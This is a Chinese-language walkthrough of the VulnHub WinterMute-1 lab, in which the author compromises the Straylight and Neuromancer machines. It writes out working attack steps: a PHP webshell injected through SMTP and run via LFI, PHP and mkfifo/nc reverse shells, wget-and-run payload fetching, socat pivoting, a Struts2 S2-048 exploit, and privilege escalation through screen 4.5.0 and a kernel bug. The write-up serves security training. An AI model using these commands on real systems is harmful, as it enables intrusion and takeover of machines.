VulnHub-WinterMute-V1-靶机渗透学习

靶机地址:https://www.vulnhub.com/entry/wintermute-1,239/ 靶机难度:中级(CTF) 靶机发布日期:2018年7月5日 靶机描述:一个新的OSCP风格实验室,涉及2台易受攻击的机器,以赛博朋克经...

靶机地址:https://www.vulnhub.com/entry/wintermute-1,239/

靶机难度:中级(CTF)

靶机发布日期:2018年7月5日

靶机描述:一个新的OSCP风格实验室,涉及2台易受攻击的机器,以赛博朋克经典Neuromancer为主题-任何网络安全爱好者都必须阅读。该实验室利用了数据透视和后期开发,而我发现其他OSCP预处理实验室似乎缺乏。目标是在两台计算机上都扎根。您只需要默认的Kali Linux。

不会出现缓冲区溢出或漏洞利用的情况-使用小的单词列表就可以完成任何必要的密码破解。

Straylight-模拟带有2个NICS的面向公众的服务器。首先盖上此盖,然后转到最后一台机器。Neuromancer-在具有1个NIC的非公共网络中。你的Kali应该和Straylight在同一个虚拟网络上。

需要VirtualBox。VMware无法正确导入。

目标:得到root权限&找到flag.txt

作者:DRX嗯嗯呐


这次两台靶机,牛不牛,很期待。

开始!!!

VirtualBox环境配置

Kail网卡配置

Straylight靶机网卡配置

Neuromancer靶机网卡配置

测试环境

kail:192.168.56.3

Neuromancer靶机:10.0.2.8

Straylight靶机:192.168.56.8/10.0.2.10

Straylight靶机渗透

信息收集

nmap扫描靶机地址

按照提示,我们先搞Straylight靶机

nmap 端口扫描

25 smtp

80 http

3000? Apache Hadoop

Hadoop是Apache基金会开发的分布式系统基础架构,Hadoop主要被用来解决海量数据的存储和海量数据的分析计算。

25 端口使用smtp-user-enum未扫描出什么有用的账号

访问80端口

过一会出现一个新的js

通过dirb和nikto扫描只发现两个文件目录记录一下

http://192.168.56.4/manual/images/

http://192.168.56.4/manual/style/

但是都没有获得有用的信息

访问3000端口

靶机使用了ntopng

nikto扫描出一个反射型xss漏洞

但是利用反射xss漏洞无法获得shell只能暂时放着

查看网页源代码,发现flag敏感字眼

获得提示但是无法访问,但是没办法访问

使用admin用户可以登录

登录之后在访问

用strings打开也没有获得什么信息。

之后继续在登陆的界面查找有用信息,发现在FLOWS模块下记录访问目录

访问/turing-bolo/,说是从列表中选择一个人来查看他们的自定义活动日志

选择一个case用户提交

发现了其他三个用户的日志,看一看能不能访问

利用LFI漏洞获得shell

可以访问,直接修改bolo参数后面的值,测试是否存在本地文件包含漏洞

http://192.168.56.4/turing-bolo/bolo.php?bolo=https://www.freebuf.com/articles/turing-bolo/molly

看来bolo参数存在LFI漏洞,但是看这个情况是默认补充后缀.log,这样的话只能访问log文件,测试一下

因为靶机存在smtp服务,所以看一下/var/log/mail日志

现在我们可以看到了mail日志了,根据日志我们可以看到日志里包含了发件人和收件人信息。

利用思路如下:我们用smtp发邮件,将发件人或收件人写为木马,之后在利用LFI漏洞将mail包含到PHP界面,这样就可以执行木马,获得shell

HELO ROOT#向服务器标识用户身份

MAIL FROM: "ROOT <?php echo shell_exec($_GET['cmd']);?>" #MAIL FROM:发件人

RCPT TO:ROOT#RCPT TO:收件人

data#开始编辑邮件内容

.#输入点代表编辑结束

成功获得shell

http://192.168.56.8/turing-bolo/bolo.php?bolo=//var/log/mail&cmd=ls

下面我们执行一个反弹shell语句,获得交互界面

这里可以使用的方法很多,我用的是PHP的sock函数

php -r '$sock=fsockopen("192.168.56.3",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

首先将代码进行URL编码

监听4444端口

执行,获得shell

screen4.5.0本地漏洞提权

发现靶机中具备SID权限的文件,发现screen

find / -perm -4000 2>/dev/null

查询发现screen-4.5.0存在漏洞

根据sh文件内容,建立两个c文件

上传到靶机

编译,根据命令执行文件

获得root权限和flag

我们这里拿到了Straylight靶机的权限并找到flag

在note文件获得提示:提供了一个URL:/struts2_2.3.15.1-showcase,但这不适用于本机的IP,服务器是通过tomcat运行WEB的。


Neuromancer靶机渗透

信息收集

开始我们的渗透,查看IP我们发现了Straylight靶机另一个IP,这个IP是和Neuromancer靶机同一网段的,确定了范围,就可以扫描Neuromancer靶机的IP和端口了


因为靶机没有nmap,我们可以通过ping进行扫描Neuromancer靶机的IP

for i in $(seq 1 255); do if ping -c 1 -w 1 10.0.2.$i&>/dev/null; then echo "10.0.2.$i"; ?fi ; done

只输出可以ping通的IP

Neuromancer靶机IP:10.0.2.8

通过nc扫描靶机存活的端口

nc -v -z -w2 10.0.2.8 1-65535

  • -v 显示指令执行过程。

  • -w<超时秒数> 设置等待连线的时间。

  • -z 使用0输入/输出模式,只在扫描通信端口时使用。

扫描出三个端口

8080

8009

34483

端口重定向

现在需要kail连接这些端口,需要linux中socat进行重定向

socat是一个多功能的网络工具,名字来由是” Socket CAT”,可以看作是netcat的N倍加强版。socat的主要特点就是在两个数据流之间建立通道;且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe,exec,system,open,proxy,openssl,socket等。


socat TCP4-LISTEN:8080,reuseaddr,fork TCP4:10.0.2.8:8080 &

  • TCP4-LISTEN:在本地建立的是一个TCP ipv4协议的监听端口

  • reuseaddr:绑定本地一个端口

  • fork:设定多链接模式,即当一个链接被建立后,自动复制一个同样的端口再进行监听

  • &: 后台执行命令

Straylight靶机开始不存在8080端口,在执行端口重定向,发现端口存在,同时访问192.168.56.8:8080,自动跳转至10.0.2.8:8080。

接下来将另两个端口进行重定向

socat TCP4-LISTEN:8009,reuseaddr,fork TCP4:10.0.2.8:8009 &
socat TCP4-LISTEN:34483,reuseaddr,fork TCP4:10.0.2.8:34483 &

测试可以访问,并发现34483是ssh服务

根据Straylight靶机note.txt提示,访问/struts2_2.3.15.1-showcase目录

struts2 s2-048漏洞利用

根据struts2版本查找查找对用的漏洞,此次struts2漏洞存在

POC: https://www.exploit-db.com/exploits/42324

想让Neuromancer靶机反弹shell到kail上,需要在Straylight靶机继续使用socat做端口重定向

首先在kail上启动6666监听端口

在Straylight靶机执行命令

socat TCP4-LISTEN:6666,reuseaddr,fork TCP4:192.168.56.3:6666 &

因为需要Neuromancer靶机连接kai,但是靶机和kail直接不通,需要让Neuromancer靶机连接Straylight靶机6666端口,Straylight靶机将流量重定向到192.168.56.3:6666(kail)上

执行poc

python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action"nc 192.168.56.8 6666"

连接上了,但是靶机不可以使用nc -e ,无法通过nc直接运行程序,我们利用文件管道符-nc反弹shell

rm /tmp/f;mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.3 6666 >/tmp/f

将shell上传到Neuromancer靶机,因为刚才在Straylight靶机启动6666端口重定向kail的6666端口上,相当于访问Straylight靶机6666端口等于访问kail6666端口。

在kail启动httpserver服务提供下载shell

远程执行命令下载shelll

python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action"wget http://192.168.56.8:6666/shell.sh-O /tmp/shell1.sh"

这样shell.sh就下载到了Neuromancer靶机上

接下来赋权

python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action"chmod +x /tmp/shell1.sh"

kail监听6666端口,Neuromancer靶机执行刚刚上传的shell

python struts2s2-048.py http://192.168.56.8:8080/struts2_2.3.15.1-showcase/integration/saveGangster.action"sh /tmp/shell1.sh"

获得ta用户权限,接下来看看怎么提权吧

Ubuntu 16.04.4 本地提权漏洞

查看操作系统版本

看到可以直接内核漏洞提权(CVE-2017-16995)

应为靶机无法执行cc命令,进行编译exp,需要先将exp编译好,在上传

在Straylight靶机socat443端口用来重定向数据

kail启动443端口提供下载

Neuromancer靶机下载exp

赋权,并执行exp,获得root权限

完成!!!

总结

这次的靶机因为是我用时最长的了,搞了两天,啧啧啧,完成的那一刻感觉神清气爽,通透。

  • 1、通过nmap扫描Straylight靶机端口,在3000端口的web界面存在弱口令,登陆看到了历史访问的web目录。

  • 2、在/turing-bolo/发现一个本地文件包含漏洞,利用系统的smtp服务器,将发件人构造为木马,发送邮件,通过LFI漏洞读取mail日志,将木马包含到php界面执行。成功获得shell。

  • 3、利用一句话木马,执行php反弹shell,获得一个交互界面。在Straylight靶机发现screen服务具备SID权限。

  • 4、利用GNU Screen 4.5.0 root exploit提权,获得Straylight靶机root权限。

  • 5、在Straylight靶机通过ping确定Neuromancer靶机IP,通过nc确定Neuromancer靶机端口,使用socat命令在Straylight靶机启动监听端口,并将对于端口的数据库转发到Neuromancer靶机上,这样kail就可以访问Neuromancer靶机了。

  • 6、根据Straylight靶机root目录下note文件提示,访问/struts2_2.3.15.1-showcase目录,发现Neuromancer靶机使用的是struts2,测试发现存在Apache Struts2 S2-048远程代码执行漏洞。

  • 7、利用漏洞上传一个文件管道符nc反弹shell文件,并执行,获得一个交互式窗口。

  • 8、发现Neuromancer靶机使用的是ubuntu 16.04.4,查询此版本存在内核提权漏洞,利用漏洞,提权成功,获得root权限。

  • 发表于 2021-04-13 08:16
  • 阅读 ( 420 )
  • 分类:互联网

0 条评论

请先 登录 后评论
李天宇
李天宇

637 篇文章

你可能感兴趣的文章

相关问题